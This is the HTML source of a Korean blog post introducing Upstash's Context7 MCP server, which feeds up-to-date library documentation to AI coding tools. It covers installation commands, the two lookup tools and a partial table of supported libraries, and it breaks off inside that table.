&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 코딩 도구를 쓰다 보면 한 번쯤 겪는 상황이 있다. Next.js 최신 App Router로 코드 짜달라고 했더니 Pages Router로 짜준다거나, 이미 deprecated된 API를 당당하게 추천해 준다거나. Context7은 바로 이 문제를 해결하기 위해 나온 MCP다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Context7 MCP : AI가 항상 최신 문서로 코드를 생성하게 해준다&lt;/b&gt;&lt;br /&gt;LLM은 학습 시점 이후의 라이브러리 변경사항을 모른다. Context7은 프롬프트에 &quot;use context7&quot;만 붙이면 해당 라이브러리의 최신 공식 문서를 실시간으로 AI 컨텍스트에 주입해준다. deprecated API 추천, 할루시네이션 코드 생성 &amp;mdash; 이 두 문제를 한 번에 해결한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Context7 MCP란?&lt;/li&gt;
&lt;li&gt;기존 AI 코딩의 근본적 문제점&lt;/li&gt;
&lt;li&gt;Context7의 작동 원리&lt;/li&gt;
&lt;li&gt;설치 방법&lt;/li&gt;
&lt;li&gt;주요 Tools 소개&lt;/li&gt;
&lt;li&gt;지원 라이브러리 목록&lt;/li&gt;
&lt;li&gt;&quot;use context7&quot; 매직 키워드 활용법&lt;/li&gt;
&lt;li&gt;활용 예시 &amp;mdash; Context7 전후 비교&lt;/li&gt;
&lt;li&gt;주의사항 및 트러블슈팅&lt;/li&gt;
&lt;li&gt;Context7 없이도 최신 문서를 참조하는 방법&lt;/li&gt;
&lt;li&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Context7 MCP란?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7 MCP는 &lt;b&gt;Upstash&lt;/b&gt;에서 개발한 오픈소스 MCP 서버다. 핵심 기능은 하나다 &amp;mdash; &lt;b&gt;최신 라이브러리 공식 문서와 코드 예제를 AI 컨텍스트에 실시간으로 주입&lt;/b&gt;하는 것.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude, Cursor, Windsurf 등 MCP를 지원하는 어떤 AI 코딩 도구에도 붙일 수 있고, 패키지명은 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;@upstash/context7-mcp&lt;/code&gt;다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub: &lt;a href=&quot;https://github.com/upstash/context7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/upstash/context7&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 기존 AI 코딩의 근본적 문제점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7이 왜 필요한지 먼저 이해해야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;LLM의 구조적 한계&lt;/b&gt;&lt;br /&gt;대형 언어 모델은 특정 시점에 수집된 데이터로 학습된다. 학습 이후에 라이브러리가 업데이트되어도 모델은 이를 알 수 없다. 그 결과:
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;이미 &lt;b&gt;deprecated된 API&lt;/b&gt;를 자신 있게 추천&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;존재하지 않는 함수를 &lt;b&gt;할루시네이션&lt;/b&gt;으로 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;구버전 패턴으로 코드를 작성해 &lt;b&gt;실제로 실행하면 에러 발생&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;구체적인 사례&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Next.js를 예로 들면, Pages Router 시절 코드와 App Router 시절 코드는 데이터 페칭 방식부터 완전히 다르다. 학습 시점에 따라 AI가 엉뚱한 패턴을 추천하는 경우가 생긴다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;javascript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// Context7 없이 &amp;mdash; AI가 구버전 패턴을 추천하는 상황 (예시)
// Next.js App Router를 요청했는데 Pages Router 방식이 나옴

export async function getServerSideProps() {
  // Pages Router 방식 &amp;mdash; App Router에서는 동작하지 않음
  const res = await fetch('https://api.example.com/data')
  const data = await res.json()
  return { props: { data } }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Context7의 작동 원리&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7의 동작 흐름은 단순하고 명쾌하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실시간 문서 주입 프로세스&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;키워드 감지&lt;/b&gt; &amp;mdash; 프롬프트에서 &quot;use context7&quot; 키워드 인식&lt;/li&gt;
&lt;li&gt;&lt;b&gt;라이브러리 식별&lt;/b&gt; &amp;mdash; 언급된 기술 스택 자동 파악 (Next.js, React, Supabase 등)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ID 변환&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #d0e8f8; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;resolve-library-id&lt;/code&gt; 툴로 라이브러리명을 Context7 ID로 변환&lt;/li&gt;
&lt;li&gt;&lt;b&gt;문서 조회&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #d0e8f8; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;query-docs&lt;/code&gt; 툴로 최신 공식 문서 관련 섹션 파싱&lt;/li&gt;
&lt;li&gt;&lt;b&gt;컨텍스트 주입&lt;/b&gt; &amp;mdash; 파싱된 문서 스니펫을 AI 컨텍스트 윈도우에 삽입&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정확한 코드 생성&lt;/b&gt; &amp;mdash; 최신 문서 기반으로 올바른 코드 응답&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설치 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Node.js v18 이상이 필요하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하기 방법3가지를 제시했지만, 사실은 요즘은 더 쉽게 AI와 자연어로 설치 요청을 하면 된다. 하지만 이론적인 내용, 원리를 최대한 이해하려고 하는게 좋다고 생각하고 여러 설치 방법도 읽고 넘어가면 좋을 것 같아 몇가지 설치 방법에 대해서도 남겨 놓으려 한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 공식 문서 링크를 주거나 &lt;a href=&quot;https://github.com/upstash/context7&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/upstash/context7&lt;/a&gt; 그냥 자연어로 context7 mcp 설치해줘.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이와 같이 데충 말해도 찰떡같이 해주는 시절이 왔다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yMUqw/dJMcahwOpeo/l4DIYJ9cKcXDeYPBXK7WcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yMUqw/dJMcahwOpeo/l4DIYJ9cKcXDeYPBXK7WcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yMUqw/dJMcahwOpeo/l4DIYJ9cKcXDeYPBXK7WcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyMUqw%2FdJMcahwOpeo%2Fl4DIYJ9cKcXDeYPBXK7WcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;524&quot; height=&quot;82&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1304&quot; data-origin-height=&quot;372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LjQ2m/dJMcah4DCAq/crowoMDH8VkZLCkMgVjoYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LjQ2m/dJMcah4DCAq/crowoMDH8VkZLCkMgVjoYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LjQ2m/dJMcah4DCAq/crowoMDH8VkZLCkMgVjoYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLjQ2m%2FdJMcah4DCAq%2FcrowoMDH8VkZLCkMgVjoYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1304&quot; height=&quot;372&quot; data-origin-width=&quot;1304&quot; data-origin-height=&quot;372&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 1. Claude Code 대화형 설치 (권장)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;터미널에서 Claude Code를 열고 다음 명령을 실행한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# API 키 없이 (무료, 요청 제한 있음)
claude mcp add --scope user context7 -- npx -y @upstash/context7-mcp

# API 키 포함 (권장 &amp;mdash; 더 높은 요청 한도)
claude mcp add --scope user context7 -- npx -y @upstash/context7-mcp --api-key YOUR_API_KEY&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;API 키 발급&lt;/b&gt;&lt;br /&gt;무료 API 키는 &lt;a href=&quot;https://context7.com/dashboard&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;context7.com/dashboard&lt;/a&gt;에서 발급받을 수 있다. API 키 없이도 사용 가능하지만 더 낮은 rate limit이 적용된다. API 키를 사용하면 더 높은 한도가 적용된다. 정확한 플랜별 한도는 &lt;a href=&quot;https://context7.com/dashboard&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;대시보드&lt;/a&gt;에서 확인을 권장한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 2. settings.json 직접 수정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 MCP 설정 파일에 직접 추가할 수도 있다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;~/.claude/claude_desktop_config.json&lt;/code&gt; (Claude Desktop의 경우) 또는 프로젝트 루트의 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;.claude/settings.json&lt;/code&gt;에 아래 내용을 추가한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;context7&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;]
    }
  }
}

// API 키를 포함하려면:
{
  &quot;mcpServers&quot;: {
    &quot;context7&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@upstash/context7-mcp&quot;, &quot;--api-key&quot;, &quot;YOUR_API_KEY&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 3. Smithery CLI 원클릭 설치&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;moonscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;npx -y @smithery/cli install @upstash/context7-mcp --client claude&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치 확인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 다음 명령으로 MCP 서버 목록을 확인한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude mcp list&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;context7&lt;/code&gt;가 목록에 나타나면 정상적으로 설치된 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 주요 Tools 소개&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7 MCP는 두 가지 핵심 Tool을 제공한다. (출처: &lt;a href=&quot;https://github.com/upstash/context7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;upstash/context7 공식 README&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Tool 1. resolve-library-id&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 라이브러리 이름을 Context7 데이터베이스에서 사용하는 고유 ID로 변환한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;입력 예시:&lt;/b&gt; &lt;code style=&quot;background: #d0e8f8; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;&quot;next.js&quot;&lt;/code&gt;&lt;br /&gt;&lt;b&gt;출력 예시:&lt;/b&gt; &lt;code style=&quot;background: #d0e8f8; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;&quot;/vercel/next.js&quot;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;라이브러리 이름을 검색하면 신뢰도 점수(trust score)와 문서 커버리지 기준으로 가장 적합한 ID를 반환한다. 같은 이름의 라이브러리가 여러 개라면 가장 신뢰도가 높은 것을 우선한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// resolve-library-id 사용 예시 (AI가 자동으로 호출)
{
  &quot;tool&quot;: &quot;resolve-library-id&quot;,
  &quot;input&quot;: {
    &quot;libraryName&quot;: &quot;react query&quot;
  }
}
// 반환: &quot;/tanstack/query&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Tool 2. query-docs&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7 ID와 질의어를 받아 해당 라이브러리의 최신 공식 문서를 가져온다. 구체적인 질문을 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;query&lt;/code&gt; 파라미터로 전달하면 관련 섹션의 문서를 반환한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; margin: 15px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;&lt;b&gt;도구 이름 변경 안내:&lt;/b&gt; 구버전 문서에는 &lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;get-library-docs&lt;/code&gt;로 기재된 경우가 있으나, 현재 공식 최신 이름은 &lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;query-docs&lt;/code&gt;다. (출처: &lt;a href=&quot;https://github.com/upstash/context7/blob/master/i18n/README.ko.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;upstash/context7 한국어 README&lt;/a&gt;)&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// query-docs 사용 예시 (AI가 자동으로 호출)
{
  &quot;tool&quot;: &quot;query-docs&quot;,
  &quot;input&quot;: {
    &quot;libraryId&quot;: &quot;/vercel/next.js&quot;,          // resolve-library-id 반환값
    &quot;query&quot;: &quot;server component data fetching&quot;,  // 필수 &amp;mdash; 검색할 질의어
    &quot;tokens&quot;: 5000                              // 기본값 5000, 최대 컨텍스트 윈도우까지
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;알아두면 좋은 점&lt;/b&gt;&lt;br /&gt;두 Tool 모두 직접 호출할 필요 없다. 프롬프트에 &quot;use context7&quot;를 포함하면 AI가 알아서 두 Tool을 순서대로 호출해서 최신 문서를 가져온다. 완전히 자동이다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 지원 라이브러리 목록&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Context7은 빠르게 변화하는 라이브러리/프레임워크에 특히 유용하다. 아래는 주요 지원 라이브러리 목록이다. (출처: Context7 공식 문서 기준, 실제 지원 여부는 &lt;a href=&quot;https://context7.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;context7.com&lt;/a&gt;에서 확인 권장)&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;라이브러리&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;Context7 ID 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;프론트엔드 프레임워크&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Next.js, React, Vue, Astro, Nuxt&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace; font-size: 13px;&quot;&gt;/vercel/next.js&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;CSS / UI&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Tailwind CSS, shadcn/ui, Radix UI&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace; font-size: 13px;&quot;&gt;/tailwindlabs/tailwindcss&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;상태 관리 / 데이터 페칭&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;TanStack Query, Zustand, Jotai, SWR&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace; font-size: 13px;&quot;&gt;/tanstack/query&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;백엔드 / BaaS&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Supabase, Firebase, Prisma, Drizzle&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace; font-size: 13px;&quot;&gt;/supabase/supabase&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Python 백엔드&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;FastAPI, Django, Flask, SQLAlchemy&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace; font-size: 13px;&quot;&gt;/tiangolo/fastapi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;AI / ML&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;LangChain, LlamaIndex, Hugging Face&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace; font-size: 13px;&quot;&gt;/langchain-ai/langchain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;테스트&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;Vitest, Jest, Playwright, Cypress&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-family: monospace; font-size: 13px;&quot;&gt;/vitest-dev/vitest&lt;/td&gt;
&lt;/tr&gt;
